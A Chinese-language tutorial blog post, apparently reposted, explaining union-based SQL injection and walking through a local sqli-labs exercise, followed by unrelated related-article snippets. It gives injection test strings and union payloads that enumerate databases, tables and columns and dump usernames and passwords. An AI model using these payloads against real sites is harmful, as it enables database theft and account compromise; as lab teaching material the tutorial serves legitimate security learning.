二、SQL注入之联合查询

文章目录

  • 1、SQL注入原理
  • 2、SQL注入的原因
  • 3、SQL注入的危害
  • 4、SQL注入基础
    • 4.1 MySQL相关
    • 4.2 SQL注入流程:
  • 5、联合注入实例基本步骤
  • 6、总结

1、SQL注入原理

  SQL注入(Sql Injection)就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

2、SQL注入的原因

  • 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句;
  • 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

3、SQL注入的危害

  • 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。
  • 在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。

4、SQL注入基础

4.1 MySQL相关

  在mysql数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。以下是关于Information_schema数据库的拓扑图:

在这里插入图片描述

4.2 SQL注入流程:

  由于关系型数据库,具有明显的库/表/字段/字段内容结构层次,在对SQL注入漏洞的注入过程中获取数据库信息的时候,也可以按照这种顺序:

数据库名 ⟶ \longrightarrow 表名 ⟶ \longrightarrow 字段名 ⟶ \longrightarrow 字段内容

  手工注入流程:

  • 寻找传参页面;
  • 判断是否存在注入点;
    • 字符型注入?
    • 数字型注入?
  • 判断字段的数量;
  • 判断字段回显的位置;
  • 查找数据库名、表名、字段名、字段内容;
  • 登录后台。

(1)判断注入点

  • and 1=1 / and 1=2 回显页面不同(整形判断)
  • 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形、字符串类型判断)
  • ’ and ‘1’ = '1 / ’ and ‘1’ = '2 回显页面不同(字符型判断)
  • and sleep(5)(判断页面返回时间,万能)
  • 在SQL语句中,and的优先级比or高。
  • SQL语句注释:# 或者 --[space] 或者 --+

(2) SQL注入分类

  • 根据注入点的数据类型,可分为:
    • 数字型注入
    • 字符型注入

❗️❗️❗️二者最大的区别在于:字符型需要闭合,整型不需要闭合。

  • 根据数据库执行的结果,可分为(四大基本手法):
    • 联合查询
    • 报错注入
    • 布尔盲注
    • 延时注入
  • 根据数据提交的方式,可分为:
    • Get注入
    • Post注入
    • Cookie注入
    • HTTP头部注入
  • 其他注入类型:
    • base64注入
    • 宽字节注入
    • 搜索型注入
    • 读写文件

5、联合注入实例基本步骤

  联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNIONUNION ALL

(1)寻找传参页面,http://xxx.com/index.php?id=1

在这里插入图片描述

(2)判断注入点,127.0.0.1/sqli/less-1/index.php?id=1'

在这里插入图片描述

可以根据报错信息判断:如果是字符型注入,应该闭合什么符号,此处是闭合单引号。

(3)判断字段数量,order by命令,127.0.0.1/sqli/less-1/index.php?id=1’ order by 3 --+

在这里插入图片描述

1后面的‘是为了闭合SQL语句中的引号

(4)判断回显位置,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,3 --+

在这里插入图片描述

(5)查数据库名,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,database() --+

database():查看当前数据库名

(5)表名

  • 查表名:select group_concat(table_name) from information_schema.tables where table_schema='security'
  • information_schema.tables:指定information_schema数据库中的tables表;
  • table_schema字段:保存所有的数据库名;
  • table_name字段:保存所有的表名;
  • group_concat()函数:输出所有属于‘security’数据库的所有表

在这里插入图片描述

(6)字段名

  • 查询字段名:select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

在这里插入图片描述

(7)字段内容

  • 查询字段内容:select group_concat(concat(username,'%23',password)) from security.users

concat()函数:拼接。例如:
concat(‘hello’,‘+’,‘world’) ⟶ \longrightarrow 输出:hello+world

在这里插入图片描述

在这里插入图片描述

6、总结

  sql注入的基本流程:

  • 寻找传参页面;
  • 判断是否存在注入点;
    • 字符型注入?
    • 数字型注入?
  • 判断字段的数量;
  • 判断字段回显的位置;
  • 查找数据库名、表名、字段名、字段内容;
  • 登录后台。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/48386.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【从零学习python 】56. 异常处理在程序设计中的重要性与应用

文章目录 异常的概念读取文件异常try...except语句try...else语句try...finally语句 进阶案例 异常的概念 在程序运行过程中,由于编码不规范或其他客观原因,可能会导致程序无法继续运行,此时就会出现异常。如果不对异常进行处理,…

[C++] string类常用接口的模拟实现

文章目录 1、前言2、遍历2.1 operator[ ]下标方式2.2 迭代器2.3 范围for2.4 c_str 3、容量相关3.1 size(大小)3.2 capacity(容量)3.3 empty(判空)3.4 clear(清理)3.5 reserve3.6 res…

代码随想录算法训练营day37 | LeetCode 738. 单调递增的数字 968. 监控二叉树

738. 单调递增的数字(题目链接:力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台) 思路:从后往前考虑,题目会变得很容易,从前往后考虑,结果很难处理。 int monotoneIn…

最新AI系统ChatGPT网站程序源码/搭建教程/支持GPT4.0/Dall-E2绘画/支持MJ以图生图/H5端/自定义训练知识库

一、正文 SparkAi系统是基于国外很火的ChatGPT进行开发的Ai智能问答系统。本期针对源码系统整体测试下来非常完美,可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。 那么如何搭建部署AI创作ChatGPT?小编这里写一个详细图文教程吧&#xff01…

前端高频面试题 Day03

1. Vue computed 和 watch 区别 对于Computed: ● 它支持缓存,只有依赖的数据发生了变化,才会重新计算 不支持异步,当Computed中有异步操作时,无法监听数据的变化 ● computed的值会默认走缓存,计算属性是基于它们的响应式依赖…

SpringMVC之入门搭建框架

文章目录 前言一、SpringMVC简介1.什么是MVC2.什么是SpringMVC3.SpringMVC的特点 二、搭建框架——HelloWorld1.创建maven工程(web项目)2.配置web.xml3.配置springMVC.xml4.创建请求控制器 总结 前言 基础小白第一次走进SpringMVC:了解什么是…

自定义HttpClient工具类

自定义HttpClient工具类 简介 依赖 <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.5.6</version> </dependency>api 发送get请求: doGet(String url);发送po…

LinkedList

LinkedList的模拟实现&#xff08;底层是一个双向链表&#xff09;LinkedList使用 LinkedList的模拟实现&#xff08;底层是一个双向链表&#xff09; 无头双向链表&#xff1a;有两个指针&#xff1b;一个指向前一个节点的地址&#xff1b;一个指向后一个节点的地址。 节点定…

vim 配置环境变量与 JDK 编译器异常

vim 配置环境变量 使用 vim 打开系统中的配置信息&#xff08;不存在将会创建&#xff09;&#xff1a; vim ~/.bash_profile 以配置两个版本 JDK 为例&#xff08;前提是已安装 JDK&#xff09;,使用上述命令打开配置信息&#xff1a; 输入法调成英文&#xff0c;输入 i&…

Mysql Oracle 区别

1. oracle select *, id需要在星号前加别名&#xff0c;mysql则不需要 mysql语法&#xff1a; select *, id from xin_student_t;oracle语法&#xff1a; select st.*, st.id from xin_student_t st;2. oracle表定义了别名&#xff0c;在查询时可以不用别名指定字段&#xf…

OWASP Top 10(2021)漏洞学习(最新)

A01:2021-权限控制失效 从第五位上升到第一位&#xff0c;94%的应用程序都接受了某种形式的针对“失效的访问控制”的测试&#xff0c;该事件的 平均发生率为 3.81%&#xff0c;该漏洞在提供的数据集中出现漏洞的应用数量最多&#xff0c;总发生漏洞应用数量超过31.8万多 次。 …

Python爬取斗罗大陆全集

打开网址http://www.luoxu.cc/dmplay/C888H-1-265.html F12打开Fetch/XHR&#xff0c;看到m3u8&#xff0c;ts&#xff0c;一眼顶真&#xff0c;打开index.m3u8 由第一个包含第二个index.m3u8的地址&#xff0c;ctrlf在源代码中一查index&#xff0c;果然有&#xff0c;不过/…

解决:(error) ERR unknown command shutdow,with args beginning with

目录 一、遇到问题 二、出现问题的原因 三、解决办法 一、遇到问题 要解决连接redis闪退的问题&#xff0c;按照许多的方式去进行都没有成功&#xff0c;在尝试使用了以下的命名去尝试时候&#xff0c;发现了这个问题。 二、出现问题的原因 这是一个粗心大意导致的错误&am…

【unity小技巧】Unity2D TileMap+柏林噪声生成随机地图(附源码)

文章目录 前言柏林噪声素材导入Rule Tile配置生成随机地图问题扩展问题添加植被源码参考完结 前言 我的上一篇文章介绍了TileMap的使用&#xff0c;主要是为我这篇做一个铺垫&#xff0c;看过上一篇文章的人&#xff0c;应该已经很好的理解TileMap的使用了&#xff0c;这里我就…

C++,从“hello world“开始

一、"hello world" #inclue <iostream>using namespace std;int main() {cout << "hello world" << endl;return 0; } 1.1 #include&#xff1a;预处理标识 1.2 <iostream>&#xff1a;输入输出流类所在头文件 1.2.1 istream&a…

【学习日记】【FreeRTOS】延时列表的实现

前言 本文在前面文章的基础上实现了延时列表&#xff0c;取消了 TCB 中的延时参数。 本文是对野火 RTOS 教程的笔记&#xff0c;融入了笔者的理解&#xff0c;代码大部分来自野火。 一、如何更高效地查找延时到期的任务 1. 朴素方式 在本文之前&#xff0c;我们使用了一种朴…

Nginx 使用 HTTPS(准备证书和私钥)

文章目录 Nginx生成自签名证书和配置Nginx HTTPS&#xff08;准备证书和私钥&#xff09;准备证书和私钥 Nginx生成自签名证书和配置Nginx HTTPS&#xff08;准备证书和私钥&#xff09; 准备证书和私钥 生成私钥 openssl genrsa -des3 -out server.key 2048这会生成一个加密…

Python 程序设计入门(025)—— 使用 os 模块操作文件与目录

Python 程序设计入门&#xff08;025&#xff09;—— 使用 os 模块操作文件与目录 目录 Python 程序设计入门&#xff08;025&#xff09;—— 使用 os 模块操作文件与目录一、操作目录的常用函数1、os 模块提供的操作目录的函数2、os.path 模块提供的操作目录的函数 二、相对…

图像检索,目标检测map的实现

一、图像检索指标Rank1,map 参考&#xff1a;https://blog.csdn.net/weixin_41427758/article/details/81188164?spm1001.2014.3001.5506 1.Rank1: rank-k&#xff1a;算法返回的排序列表中&#xff0c;前k位为存在检索目标则称为rank-k命中。 常用的为rank1&#xff1a;首…

Flutter 宽高自适应

在Flutter开发中也需要宽高自适应&#xff0c;手动写一个工具类&#xff0c;集成之后在像素后面直接使用 px或者 rpx即可。 工具类代码如下&#xff1a; import dart:ui;class HYSizeFit {static double screenWidth 0.0;static double screenHeight 0.0;static double phys…